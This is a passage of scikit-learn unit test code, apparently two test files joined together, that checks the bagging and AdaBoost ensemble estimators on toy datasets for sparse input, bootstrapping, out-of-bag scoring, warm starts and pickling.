                          "max_features": [0.5, 1.0],
                          "bootstrap": [True, False],
                          "bootstrap_features": [True, False]})

    for base_estimator in [None,
                           DummyRegressor(),
                           DecisionTreeRegressor(),
                           KNeighborsRegressor(),
                           SVR()]:
        for params in grid:
            BaggingRegressor(base_estimator=base_estimator,
                             random_state=rng,
                             **params).fit(X_train, y_train).predict(X_test)


def test_sparse_regression():
    # Check regression for various parameter settings on sparse input.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(boston.data[:50],
                                                        boston.target[:50],
                                                        random_state=rng)

    class CustomSVR(SVR):
        """SVC variant that records the nature of the training set"""

        def fit(self, X, y):
            super(CustomSVR, self).fit(X, y)
            self.data_type_ = type(X)
            return self

    parameter_sets = [
        {"max_samples": 0.5,
         "max_features": 2,
         "bootstrap": True,
         "bootstrap_features": True},
        {"max_samples": 1.0,
         "max_features": 4,
         "bootstrap": True,
         "bootstrap_features": True},
        {"max_features": 2,
         "bootstrap": False,
         "bootstrap_features": True},
        {"max_samples": 0.5,
         "bootstrap": True,
         "bootstrap_features": False},
    ]

    for sparse_format in [csc_matrix, csr_matrix]:
        X_train_sparse = sparse_format(X_train)
        X_test_sparse = sparse_format(X_test)
        for params in parameter_sets:

            # Trained on sparse format
            sparse_classifier = BaggingRegressor(
                base_estimator=CustomSVR(),
                random_state=1,
                **params
            ).fit(X_train_sparse, y_train)
            sparse_results = sparse_classifier.predict(X_test_sparse)

            # Trained on dense format
            dense_results = BaggingRegressor(
                base_estimator=CustomSVR(),
                random_state=1,
                **params
            ).fit(X_train, y_train).predict(X_test)

            sparse_type = type(X_train_sparse)
            types = [i.data_type_ for i in sparse_classifier.estimators_]

            assert_array_equal(sparse_results, dense_results)
            assert all([t == sparse_type for t in types])
            assert_array_equal(sparse_results, dense_results)


def test_bootstrap_samples():
    # Test that bootstrapping samples generate non-perfect base estimators.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(boston.data,
                                                        boston.target,
                                                        random_state=rng)

    base_estimator = DecisionTreeRegressor().fit(X_train, y_train)

    # without bootstrap, all trees are perfect on the training set
    ensemble = BaggingRegressor(base_estimator=DecisionTreeRegressor(),
                                max_samples=1.0,
                                bootstrap=False,
                                random_state=rng).fit(X_train, y_train)

    assert_equal(base_estimator.score(X_train, y_train),
                 ensemble.score(X_train, y_train))

    # with bootstrap, trees are no longer perfect on the training set
    ensemble = BaggingRegressor(base_estimator=DecisionTreeRegressor(),
                                max_samples=1.0,
                                bootstrap=True,
                                random_state=rng).fit(X_train, y_train)

    assert_greater(base_estimator.score(X_train, y_train),
                   ensemble.score(X_train, y_train))


def test_bootstrap_features():
    # Test that bootstrapping features may generate duplicate features.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(boston.data,
                                                        boston.target,
                                                        random_state=rng)

    ensemble = BaggingRegressor(base_estimator=DecisionTreeRegressor(),
                                max_features=1.0,
                                bootstrap_features=False,
                                random_state=rng).fit(X_train, y_train)

    for features in ensemble.estimators_features_:
        assert_equal(boston.data.shape[1], np.unique(features).shape[0])

    ensemble = BaggingRegressor(base_estimator=DecisionTreeRegressor(),
                                max_features=1.0,
                                bootstrap_features=True,
                                random_state=rng).fit(X_train, y_train)

    for features in ensemble.estimators_features_:
        assert_greater(boston.data.shape[1], np.unique(features).shape[0])


def test_probability():
    # Predict probabilities.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(iris.data,
                                                        iris.target,
                                                        random_state=rng)

    with np.errstate(divide="ignore", invalid="ignore"):
        # Normal case
        ensemble = BaggingClassifier(base_estimator=DecisionTreeClassifier(),
                                     random_state=rng).fit(X_train, y_train)

        assert_array_almost_equal(np.sum(ensemble.predict_proba(X_test),
                                         axis=1),
                                  np.ones(len(X_test)))

        assert_array_almost_equal(ensemble.predict_proba(X_test),
                                  np.exp(ensemble.predict_log_proba(X_test)))

        # Degenerate case, where some classes are missing
        ensemble = BaggingClassifier(base_estimator=LogisticRegression(),
                                     random_state=rng,
                                     max_samples=5).fit(X_train, y_train)

        assert_array_almost_equal(np.sum(ensemble.predict_proba(X_test),
                                         axis=1),
                                  np.ones(len(X_test)))

        assert_array_almost_equal(ensemble.predict_proba(X_test),
                                  np.exp(ensemble.predict_log_proba(X_test)))


def test_oob_score_classification():
    # Check that oob prediction is a good estimation of the generalization
    # error.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(iris.data,
                                                        iris.target,
                                                        random_state=rng)

    for base_estimator in [DecisionTreeClassifier(), SVC()]:
        clf = BaggingClassifier(base_estimator=base_estimator,
                                n_estimators=100,
                                bootstrap=True,
                                oob_score=True,
                                random_state=rng).fit(X_train, y_train)

        test_score = clf.score(X_test, y_test)

        assert_less(abs(test_score - clf.oob_score_), 0.1)

        # Test with few estimators
        assert_warns(UserWarning,
                     BaggingClassifier(base_estimator=base_estimator,
                                       n_estimators=1,
                                       bootstrap=True,
                                       oob_score=True,
                                       random_state=rng).fit,
                     X_train,
                     y_train)


def test_oob_score_regression():
    # Check that oob prediction is a good estimation of the generalization
    # error.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(boston.data,
                                                        boston.target,
                                                        random_state=rng)

    clf = BaggingRegressor(base_estimator=DecisionTreeRegressor(),
                           n_estimators=50,
                           bootstrap=True,
                           oob_score=True,
                           random_state=rng).fit(X_train, y_train)

    test_score = clf.score(X_test, y_test)

    assert_less(abs(test_score - clf.oob_score_), 0.1)

    # Test with few estimators
    assert_warns(UserWarning,
                 BaggingRegressor(base_estimator=DecisionTreeRegressor(),
                                  n_estimators=1,
                                  bootstrap=True,
                                  oob_score=True,
                                  random_state=rng).fit,
                 X_train,
                 y_train)


def test_single_estimator():
    # Check singleton ensembles.
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(boston.data,
                                                        boston.target,
                                                        random_state=rng)

    clf1 = BaggingRegressor(base_estimator=KNeighborsRegressor(),
                            n_estimators=1,
                            bootstrap=False,
                            bootstrap_features=False,
                            random_state=rng).fit(X_train, y_train)

    clf2 = KNeighborsRegressor().fit(X_train, y_train)

    assert_array_equal(clf1.predict(X_test), clf2.predict(X_test))


def test_error():
    # Test that it gives proper exception on deficient input.
    X, y = iris.data, iris.target
    base = DecisionTreeClassifier()

    # Test max_samples
    assert_raises(ValueError,
                  BaggingClassifier(base, max_samples=-1).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_samples=0.0).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_samples=2.0).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_samples=1000).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_samples="foobar").fit, X, y)

    # Test max_features
    assert_raises(ValueError,
                  BaggingClassifier(base, max_features=-1).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_features=0.0).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_features=2.0).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_features=5).fit, X, y)
    assert_raises(ValueError,
                  BaggingClassifier(base, max_features="foobar").fit, X, y)

    # Test support of decision_function
    assert_false(hasattr(BaggingClassifier(base).fit(X, y), 'decision_function'))


def test_parallel_classification():
    # Check parallel classification.
    rng = check_random_state(0)

    # Classification
    X_train, X_test, y_train, y_test = train_test_split(iris.data,
                                                        iris.target,
                                                        random_state=rng)

    ensemble = BaggingClassifier(DecisionTreeClassifier(),
                                 n_jobs=3,
                                 random_state=0).fit(X_train, y_train)

    # predict_proba
    ensemble.set_params(n_jobs=1)
    y1 = ensemble.predict_proba(X_test)
    ensemble.set_params(n_jobs=2)
    y2 = ensemble.predict_proba(X_test)
    assert_array_almost_equal(y1, y2)

    ensemble = BaggingClassifier(DecisionTreeClassifier(),
                                 n_jobs=1,
                                 random_state=0).fit(X_train, y_train)

    y3 = ensemble.predict_proba(X_test)
    assert_array_almost_equal(y1, y3)

    # decision_function
    ensemble = BaggingClassifier(SVC(decision_function_shape='ovr'),
                                 n_jobs=3,
                                 random_state=0).fit(X_train, y_train)

    ensemble.set_params(n_jobs=1)
    decisions1 = ensemble.decision_function(X_test)
    ensemble.set_params(n_jobs=2)
    decisions2 = ensemble.decision_function(X_test)
    assert_array_almost_equal(decisions1, decisions2)

    ensemble = BaggingClassifier(SVC(decision_function_shape='ovr'),
                                 n_jobs=1,
                                 random_state=0).fit(X_train, y_train)

    decisions3 = ensemble.decision_function(X_test)
    assert_array_almost_equal(decisions1, decisions3)


def test_parallel_regression():
    # Check parallel regression.
    rng = check_random_state(0)

    X_train, X_test, y_train, y_test = train_test_split(boston.data,
                                                        boston.target,
                                                        random_state=rng)

    ensemble = BaggingRegressor(DecisionTreeRegressor(),
                                n_jobs=3,
                                random_state=0).fit(X_train, y_train)

    ensemble.set_params(n_jobs=1)
    y1 = ensemble.predict(X_test)
    ensemble.set_params(n_jobs=2)
    y2 = ensemble.predict(X_test)
    assert_array_almost_equal(y1, y2)

    ensemble = BaggingRegressor(DecisionTreeRegressor(),
                                n_jobs=1,
                                random_state=0).fit(X_train, y_train)

    y3 = ensemble.predict(X_test)
    assert_array_almost_equal(y1, y3)


def test_gridsearch():
    # Check that bagging ensembles can be grid-searched.
    # Transform iris into a binary classification task
    X, y = iris.data, iris.target
    y[y == 2] = 1

    # Grid search with scoring based on decision_function
    parameters = {'n_estimators': (1, 2),
                  'base_estimator__C': (1, 2)}

    GridSearchCV(BaggingClassifier(SVC()),
                 parameters,
                 scoring="roc_auc").fit(X, y)


def test_base_estimator():
    # Check base_estimator and its default values.
    rng = check_random_state(0)

    # Classification
    X_train, X_test, y_train, y_test = train_test_split(iris.data,
                                                        iris.target,
                                                        random_state=rng)

    ensemble = BaggingClassifier(None,
                                 n_jobs=3,
                                 random_state=0).fit(X_train, y_train)

    assert_true(isinstance(ensemble.base_estimator_, DecisionTreeClassifier))

    ensemble = BaggingClassifier(DecisionTreeClassifier(),
                                 n_jobs=3,
                                 random_state=0).fit(X_train, y_train)

    assert_true(isinstance(ensemble.base_estimator_, DecisionTreeClassifier))

    ensemble = BaggingClassifier(Perceptron(),
                                 n_jobs=3,
                                 random_state=0).fit(X_train, y_train)

    assert_true(isinstance(ensemble.base_estimator_, Perceptron))

    # Regression
    X_train, X_test, y_train, y_test = train_test_split(boston.data,
                                                        boston.target,
                                                        random_state=rng)

    ensemble = BaggingRegressor(None,
                                n_jobs=3,
                                random_state=0).fit(X_train, y_train)

    assert_true(isinstance(ensemble.base_estimator_, DecisionTreeRegressor))

    ensemble = BaggingRegressor(DecisionTreeRegressor(),
                                n_jobs=3,
                                random_state=0).fit(X_train, y_train)

    assert_true(isinstance(ensemble.base_estimator_, DecisionTreeRegressor))

    ensemble = BaggingRegressor(SVR(),
                                n_jobs=3,
                                random_state=0).fit(X_train, y_train)
    assert_true(isinstance(ensemble.base_estimator_, SVR))


def test_bagging_with_pipeline():
    estimator = BaggingClassifier(make_pipeline(SelectKBest(k=1),
                                                DecisionTreeClassifier()),
                                  max_features=2)
    estimator.fit(iris.data, iris.target)


class DummyZeroEstimator(BaseEstimator):

    def fit(self, X, y):
        self.classes_ = np.unique(y)
        return self

    def predict(self, X):
        return self.classes_[np.zeros(X.shape[0], dtype=int)]


def test_bagging_sample_weight_unsupported_but_passed():
    estimator = BaggingClassifier(DummyZeroEstimator())
    rng = check_random_state(0)

    estimator.fit(iris.data, iris.target).predict(iris.data)
    assert_raises(ValueError, estimator.fit, iris.data, iris.target,
                  sample_weight=rng.randint(10, size=(iris.data.shape[0])))


def test_warm_start(random_state=42):
    # Test if fitting incrementally with warm start gives a forest of the
    # right size and the same results as a normal fit.
    X, y = make_hastie_10_2(n_samples=20, random_state=1)

    clf_ws = None
    for n_estimators in [5, 10]:
        if clf_ws is None:
            clf_ws = BaggingClassifier(n_estimators=n_estimators,
                                       random_state=random_state,
                                       warm_start=True)
        else:
            clf_ws.set_params(n_estimators=n_estimators)
        clf_ws.fit(X, y)
        assert_equal(len(clf_ws), n_estimators)

    clf_no_ws = BaggingClassifier(n_estimators=10, random_state=random_state,
                                  warm_start=False)
    clf_no_ws.fit(X, y)

    assert_equal(set([tree.random_state for tree in clf_ws]),
                 set([tree.random_state for tree in clf_no_ws]))


def test_warm_start_smaller_n_estimators():
    # Test if warm start'ed second fit with smaller n_estimators raises error.
    X, y = make_hastie_10_2(n_samples=20, random_state=1)
    clf = BaggingClassifier(n_estimators=5, warm_start=True)
    clf.fit(X, y)
    clf.set_params(n_estimators=4)
    assert_raises(ValueError, clf.fit, X, y)


def test_warm_start_equal_n_estimators():
    # Test that nothing happens when fitting without increasing n_estimators
    X, y = make_hastie_10_2(n_samples=20, random_state=1)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=43)

    clf = BaggingClassifier(n_estimators=5, warm_start=True, random_state=83)
    clf.fit(X_train, y_train)

    y_pred = clf.predict(X_test)
    # modify X to nonsense values, this should not change anything
    X_train += 1.

    assert_warns_message(UserWarning,
                         "Warm-start fitting without increasing n_estimators does not",
                         clf.fit, X_train, y_train)
    assert_array_equal(y_pred, clf.predict(X_test))


def test_warm_start_equivalence():
    # warm started classifier with 5+5 estimators should be equivalent to
    # one classifier with 10 estimators
    X, y = make_hastie_10_2(n_samples=20, random_state=1)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=43)

    clf_ws = BaggingClassifier(n_estimators=5, warm_start=True,
                               random_state=3141)
    clf_ws.fit(X_train, y_train)
    clf_ws.set_params(n_estimators=10)
    clf_ws.fit(X_train, y_train)
    y1 = clf_ws.predict(X_test)

    clf = BaggingClassifier(n_estimators=10, warm_start=False,
                            random_state=3141)
    clf.fit(X_train, y_train)
    y2 = clf.predict(X_test)

    assert_array_almost_equal(y1, y2)


def test_warm_start_with_oob_score_fails():
    # Check using oob_score and warm_start simultaneously fails
    X, y = make_hastie_10_2(n_samples=20, random_state=1)
    clf = BaggingClassifier(n_estimators=5, warm_start=True, oob_score=True)
    assert_raises(ValueError, clf.fit, X, y)


def test_oob_score_removed_on_warm_start():
    X, y = make_hastie_10_2(n_samples=2000, random_state=1)

    clf = BaggingClassifier(n_estimators=50, oob_score=True)
    clf.fit(X, y)

    clf.set_params(warm_start=True, oob_score=False, n_estimators=100)
    clf.fit(X, y)

    assert_raises(AttributeError, getattr, clf, "oob_score_")


def test_oob_score_consistency():
    # Make sure OOB scores are identical when random_state, estimator, and 
    # training data are fixed and fitting is done twice
    X, y = make_hastie_10_2(n_samples=200, random_state=1)
    bagging = BaggingClassifier(KNeighborsClassifier(), max_samples=0.5,
                                max_features=0.5, oob_score=True,
                                random_state=1)
    assert_equal(bagging.fit(X, y).oob_score_, bagging.fit(X, y).oob_score_)


def test_estimators_samples():
    # Check that format of estimators_samples_ is correct and that results
    # generated at fit time can be identically reproduced at a later time
    # using data saved in object attributes.
    X, y = make_hastie_10_2(n_samples=200, random_state=1)
    bagging = BaggingClassifier(LogisticRegression(), max_samples=0.5,
                                max_features=0.5, random_state=1,
                                bootstrap=False)
    bagging.fit(X, y)

    # Get relevant attributes
    estimators_samples = bagging.estimators_samples_
    estimators_features = bagging.estimators_features_
    estimators = bagging.estimators_

    # Test for correct formatting
    assert_equal(len(estimators_samples), len(estimators))
    assert_equal(len(estimators_samples[0]), len(X))
    assert_equal(estimators_samples[0].dtype.kind, 'b')

    # Re-fit single estimator to test for consistent sampling
    estimator_index = 0
    estimator_samples = estimators_samples[estimator_index]
    estimator_features = estimators_features[estimator_index]
    estimator = estimators[estimator_index]

    X_train = (X[estimator_samples])[:, estimator_features]
    y_train = y[estimator_samples]

    orig_coefs = estimator.coef_
    estimator.fit(X_train, y_train)
    new_coefs = estimator.coef_

    assert_array_almost_equal(orig_coefs, new_coefs)


def test_max_samples_consistency():
    # Make sure validated max_samples and original max_samples are identical
    # when valid integer max_samples supplied by user
    max_samples = 100
    X, y = make_hastie_10_2(n_samples=2*max_samples, random_state=1)
    bagging = BaggingClassifier(KNeighborsClassifier(),
                                max_samples=max_samples,
                                max_features=0.5, random_state=1)
    bagging.fit(X, y)
    assert_equal(bagging._max_samples, max_samples)






"""Testing for the boost module (sklearn.ensemble.boost)."""

import numpy as np
from sklearn.utils.testing import assert_array_equal, assert_array_less
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal, assert_true
from sklearn.utils.testing import assert_raises, assert_raises_regexp

from sklearn.base import BaseEstimator
from sklearn.model_selection import train_test_split
from sklearn.model_selection import GridSearchCV
from sklearn.ensemble import AdaBoostClassifier
from sklearn.ensemble import AdaBoostRegressor
from sklearn.ensemble import weight_boosting
from scipy.sparse import csc_matrix
from scipy.sparse import csr_matrix
from scipy.sparse import coo_matrix
from scipy.sparse import dok_matrix
from scipy.sparse import lil_matrix
from sklearn.svm import SVC, SVR
from sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor
from sklearn.utils import shuffle
from sklearn import datasets


# Common random state
rng = np.random.RandomState(0)

# Toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
y_class = ["foo", "foo", "foo", 1, 1, 1]    # test string class labels
y_regr = [-1, -1, -1, 1, 1, 1]
T = [[-1, -1], [2, 2], [3, 2]]
y_t_class = ["foo", 1, 1]
y_t_regr = [-1, 1, 1]

# Load the iris dataset and randomly permute it
iris = datasets.load_iris()
perm = rng.permutation(iris.target.size)
iris.data, iris.target = shuffle(iris.data, iris.target, random_state=rng)

# Load the boston dataset and randomly permute it
boston = datasets.load_boston()
boston.data, boston.target = shuffle(boston.data, boston.target,
                                     random_state=rng)


def test_samme_proba():
    # Test the `_samme_proba` helper function.

    # Define some example (bad) `predict_proba` output.
    probs = np.array([[1, 1e-6, 0],
                      [0.19, 0.6, 0.2],
                      [-999, 0.51, 0.5],
                      [1e-6, 1, 1e-9]])
    probs /= np.abs(probs.sum(axis=1))[:, np.newaxis]

    # _samme_proba calls estimator.predict_proba.
    # Make a mock object so I can control what gets returned.
    class MockEstimator(object):
        def predict_proba(self, X):
            assert_array_equal(X.shape, probs.shape)
            return probs
    mock = MockEstimator()

    samme_proba = weight_boosting._samme_proba(mock, 3, np.ones_like(probs))

    assert_array_equal(samme_proba.shape, probs.shape)
    assert_true(np.isfinite(samme_proba).all())

    # Make sure that the correct elements come out as smallest --
    # `_samme_proba` should preserve the ordering in each example.
    assert_array_equal(np.argmin(samme_proba, axis=1), [2, 0, 0, 2])
    assert_array_equal(np.argmax(samme_proba, axis=1), [0, 1, 1, 1])


def test_classification_toy():
    # Check classification on a toy dataset.
    for alg in ['SAMME', 'SAMME.R']:
        clf = AdaBoostClassifier(algorithm=alg, random_state=0)
        clf.fit(X, y_class)
        assert_array_equal(clf.predict(T), y_t_class)
        assert_array_equal(np.unique(np.asarray(y_t_class)), clf.classes_)
        assert_equal(clf.predict_proba(T).shape, (len(T), 2))
        assert_equal(clf.decision_function(T).shape, (len(T),))


def test_regression_toy():
    # Check classification on a toy dataset.
    clf = AdaBoostRegressor(random_state=0)
    clf.fit(X, y_regr)
    assert_array_equal(clf.predict(T), y_t_regr)


def test_iris():
    # Check consistency on dataset iris.
    classes = np.unique(iris.target)
    clf_samme = prob_samme = None

    for alg in ['SAMME', 'SAMME.R']:
        clf = AdaBoostClassifier(algorithm=alg)
        clf.fit(iris.data, iris.target)

        assert_array_equal(classes, clf.classes_)
        proba = clf.predict_proba(iris.data)
        if alg == "SAMME":
            clf_samme = clf
            prob_samme = proba
        assert_equal(proba.shape[1], len(classes))
        assert_equal(clf.decision_function(iris.data).shape[1], len(classes))

        score = clf.score(iris.data, iris.target)
        assert score > 0.9, "Failed with algorithm %s and score = %f" % \
            (alg, score)

    # Somewhat hacky regression test: prior to
    # ae7adc880d624615a34bafdb1d75ef67051b8200,
    # predict_proba returned SAMME.R values for SAMME.
    clf_samme.algorithm = "SAMME.R"
    assert_array_less(0,
                      np.abs(clf_samme.predict_proba(iris.data) - prob_samme))


def test_boston():
    # Check consistency on dataset boston house prices.
    clf = AdaBoostRegressor(random_state=0)
    clf.fit(boston.data, boston.target)
    score = clf.score(boston.data, boston.target)
    assert score > 0.85


def test_staged_predict():
    # Check staged predictions.
    rng = np.random.RandomState(0)
    iris_weights = rng.randint(10, size=iris.target.shape)
    boston_weights = rng.randint(10, size=boston.target.shape)

    # AdaBoost classification
    for alg in ['SAMME', 'SAMME.R']:
        clf = AdaBoostClassifier(algorithm=alg, n_estimators=10)
        clf.fit(iris.data, iris.target, sample_weight=iris_weights)

        predictions = clf.predict(iris.data)
        staged_predictions = [p for p in clf.staged_predict(iris.data)]
        proba = clf.predict_proba(iris.data)
        staged_probas = [p for p in clf.staged_predict_proba(iris.data)]
        score = clf.score(iris.data, iris.target, sample_weight=iris_weights)
        staged_scores = [
            s for s in clf.staged_score(
                iris.data, iris.target, sample_weight=iris_weights)]

        assert_equal(len(staged_predictions), 10)
        assert_array_almost_equal(predictions, staged_predictions[-1])
        assert_equal(len(staged_probas), 10)
        assert_array_almost_equal(proba, staged_probas[-1])
        assert_equal(len(staged_scores), 10)
        assert_array_almost_equal(score, staged_scores[-1])

    # AdaBoost regression
    clf = AdaBoostRegressor(n_estimators=10, random_state=0)
    clf.fit(boston.data, boston.target, sample_weight=boston_weights)

    predictions = clf.predict(boston.data)
    staged_predictions = [p for p in clf.staged_predict(boston.data)]
    score = clf.score(boston.data, boston.target, sample_weight=boston_weights)
    staged_scores = [
        s for s in clf.staged_score(
            boston.data, boston.target, sample_weight=boston_weights)]

    assert_equal(len(staged_predictions), 10)
    assert_array_almost_equal(predictions, staged_predictions[-1])
    assert_equal(len(staged_scores), 10)
    assert_array_almost_equal(score, staged_scores[-1])


def test_gridsearch():
    # Check that base trees can be grid-searched.
    # AdaBoost classification
    boost = AdaBoostClassifier(base_estimator=DecisionTreeClassifier())
    parameters = {'n_estimators': (1, 2),
                  'base_estimator__max_depth': (1, 2),
                  'algorithm': ('SAMME', 'SAMME.R')}
    clf = GridSearchCV(boost, parameters)
    clf.fit(iris.data, iris.target)

    # AdaBoost regression
    boost = AdaBoostRegressor(base_estimator=DecisionTreeRegressor(),
                              random_state=0)
    parameters = {'n_estimators': (1, 2),
                  'base_estimator__max_depth': (1, 2)}
    clf = GridSearchCV(boost, parameters)
    clf.fit(boston.data, boston.target)


def test_pickle():
    # Check pickability.
    import pickle

    # Adaboost classifier
    for alg in ['SAMME', 'SAMME.R']:
        obj = AdaBoostClassifier(algorithm=alg)
        obj.fit(iris.data, iris.target)
        score = obj.score(iris.data, iris.target)
        s = pickle.dumps(obj)

        obj2 = pickle.loads(s)
        assert_equal(type(obj2), obj.__class__)
        score2 = obj2.score(iris.data, iris.target)
        assert_equal(score, score2)

    # Adaboost regressor
    obj = AdaBoostRegressor(random_state=0)
    obj.fit(boston.data, boston.target)
    score = obj.score(boston.data, boston.target)
    s = pickle.dumps(obj)

    obj2 = pickle.loads(s)
    assert_equal(type(obj2), obj.__class__)
    score2 = obj2.score(boston.data, boston.target)
    assert_equal(score, score2)


def test_importances():
    # Check variable importances.
    X, y = datasets.make_classification(n_samples=2000,
                                        n_features=10,
                                        n_informative=3,
                                        n_redundant=0,
                                        n_repeated=0,
                                        shuffle=False,
                                        random_state=1)

    for alg in ['SAMME', 'SAMME.R']:
        clf = AdaBoostClassifier(algorithm=alg)

        clf.fit(X, y)
        importances = clf.feature_importances_

        assert_equal(importances.shape[0], 10)
        assert_equal((importances[:3, np.newaxis] >= importances[3:]).all(),
                     True)


def test_error():
    # Test that it gives proper exception on deficient input.
    assert_raises(ValueError,
                  AdaBoostClassifier(learning_rate=-1).fit,
                  X, y_class)

    assert_raises(ValueError,
                  AdaBoostClassifier(algorithm="foo").fit,
                  X, y_class)

    assert_raises(ValueError,
                  AdaBoostClassifier().fit,
                  X, y_class, sample_weight=np.asarray([-1]))


def test_base_estimator():
    # Test different base estimators.
    from sklearn.ensemble import RandomForestClassifier
    from sklearn.svm import SVC

    # XXX doesn't work with y_class because RF doesn't support classes_
    # Shouldn't AdaBoost run a LabelBinarizer?
    clf = AdaBoostClassifier(RandomForestClassifier())
    clf.fit(X, y_regr)

    clf = AdaBoostClassifier(SVC(), algorithm="SAMME")
    clf.fit(X, y_class)

    from sklearn.ensemble import RandomForestRegressor
    from sklearn.svm import SVR

    clf = AdaBoostRegressor(RandomForestRegressor(), random_state=0)
    clf.fit(X, y_regr)

    clf = AdaBoostRegressor(SVR(), random_state=0)
    clf.fit(X, y_regr)

    # Check that an empty discrete ensemble fails in fit, not predict.
    X_fail = [[1, 1], [1, 1], [1, 1], [1, 1]]
    y_fail = ["foo", "bar", 1, 2]
    clf = AdaBoostClassifier(SVC(), algorithm="SAMME")
    assert_raises_regexp(ValueError, "worse than random",
                         clf.fit, X_fail, y_fail)


def test_sample_weight_missing():
    from sklearn.linear_model import LogisticRegression
    from sklearn.cluster import KMeans

    clf = AdaBoostClassifier(KMeans(), algorithm="SAMME")
    assert_raises(ValueError, clf.fit, X, y_regr)

    clf = AdaBoostRegressor(KMeans())
    assert_raises(ValueError, clf.fit, X, y_regr)


def test_sparse_classification():
    # Check classification with sparse input.

    class CustomSVC(SVC):
        """SVC variant that records the nature of the training set."""

        def fit(self, X, y, sample_weight=None):
            """Modification on fit caries data type for later verification."""
            super(CustomSVC, self).fit(X, y, sample_weight=sample_weight)
            self.data_type_ = type(X)
            return self

    X, y = datasets.make_multilabel_classification(n_classes=1, n_samples=15,
                                                   n_features=5,
                                                   random_state=42)
    # Flatten y to a 1d array
    y = np.ravel(y)

    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

    for sparse_format in [csc_matrix, csr_matrix, lil_matrix, coo_matrix,
                          dok_matrix]:
        X_train_sparse = sparse_format(X_train)
        X_test_sparse = sparse_format(X_test)

        # Trained on sparse format
        sparse_classifier = AdaBoostClassifier(
            base_estimator=CustomSVC(probability=True),
            random_state=1,
            algorithm="SAMME"
        ).fit(X_train_sparse, y_train)

        # Trained on dense format
        dense_classifier = AdaBoostClassifier(
            base_estimator=CustomSVC(probability=True),
            random_state=1,
            algorithm="SAMME"
        ).fit(X_train, y_train)

        # predict
        sparse_results = sparse_classifier.predict(X_test_sparse)
        dense_results = dense_classifier.predict(X_test)
        assert_array_equal(sparse_results, dense_results)

        # decision_function
        sparse_results = sparse_classifier.decision_function(X_test_sparse)
        dense_results = dense_classifier.decision_function(X_test)
        assert_array_equal(sparse_results, dense_results)

        # predict_log_proba
        sparse_results = sparse_classifier.predict_log_proba(X_test_sparse)
        dense_results = dense_classifier.predict_log_proba(X_test)
        assert_array_equal(sparse_results, dense_results)

        # predict_proba
        sparse_results = sparse_classifier.predict_proba(X_test_sparse)
        dense_results = dense_classifier.predict_proba(X_test)
        assert_array_equal(sparse_results, dense_results)

        # score
        sparse_results = sparse_classifier.score(X_test_sparse, y_test)
        dense_results = dense_classifier.score(X_test, y_test)
        assert_array_equal(sparse_results, dense_results)

        # staged_decision_function
        sparse_results = sparse_classifier.staged_decision_function(
            X_test_sparse)
        dense_results = dense_classifier.staged_decision_function(X_test)
        for sprase_res, dense_res in zip(sparse_results, dense_results):
            assert_array_equal(sprase_res, dense_res)

        # staged_predict
        sparse_results = sparse_classifier.staged_predict(X_test_sparse)
        dense_results = dense_classifier.staged_predict(X_test)
        for sprase_res, dense_res in zip(sparse_results, dense_results):
            assert_array_equal(sprase_res, dense_res)

        # staged_predict_proba
        sparse_results = sparse_classifier.staged_predict_proba(X_test_sparse)
        dense_results = dense_classifier.staged_predict_proba(X_test)
        for sprase_res, dense_res in zip(sparse_results, dense_results):
            assert_array_equal(sprase_res, dense_res)

        # staged_score
        sparse_results = sparse_classifier.staged_score(X_test_sparse,
                                                        y_test)
        dense_results = dense_classifier.staged_score(X_test, y_test)
        for sprase_res, dense_res in zip(sparse_results, dense_results):
            assert_array_equal(sprase_res, dense_res)

        # Verify sparsity of data is maintained during training
        types = [i.data_type_ for i in sparse_classifier.estimators_]

        assert all([(t == csc_matrix or t == csr_matrix)
                   for t in types])


def test_sparse_regression():
    # Check regression with sparse input.

    class CustomSVR(SVR):
        """SVR variant that records the nature of the training set."""

        def fit(self, X, y, sample_weight=None):
            """Modification on fit caries data type for later verification."""
            super(CustomSVR, self).fit(X, y, sample_weight=sample_weight)
            self.data_type_ = type(X)
            return self

    X, y = datasets.make_regression(n_samples=15, n_features=50, n_targets=1,
                                    random_state=42)

    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

    for sparse_format in [csc_matrix, csr_matrix, lil_matrix, coo_matrix,
                          dok_matrix]:
        X_train_sparse = sparse_format(X_train)
        X_test_sparse = sparse_format(X_test)

        # Trained on sparse format
        sparse_classifier = AdaBoostRegressor(
            base_estimator=CustomSVR(),
            random_state=1
        ).fit(X_train_sparse, y_train)

        # Trained on dense format
        dense_classifier = dense_results = AdaBoostRegressor(
            base_estimator=CustomSVR(),
            random_state=1
        ).fit(X_train, y_train)

        # predict
        sparse_results = sparse_classifier.predict(X_test_sparse)
        dense_results = dense_classifier.predict(X_test)
        assert_array_equal(sparse_results, dense_results)

        # staged_predict
        sparse_results = sparse_classifier.staged_predict(X_test_sparse)
        dense_results = dense_classifier.staged_predict(X_test)
        for sprase_res, dense_res in zip(sparse_results, dense_results):
            assert_array_equal(sprase_res, dense_res)

        types = [i.data_type_ for i in sparse_classifier.estimators_]

        assert all([(t == csc_matrix or t == csr_matrix)
                   for t in types])


def test_sample_weight_adaboost_regressor():
    """
    AdaBoostRegressor should work without sample_weights in the base estimator

    The random weighted sampling is done internally in the _boost method in
    AdaBoostRegressor.
    """
    class DummyEstimator(BaseEstimator):

        def fit(self, X, y):
            pass

        def predict(self, X):
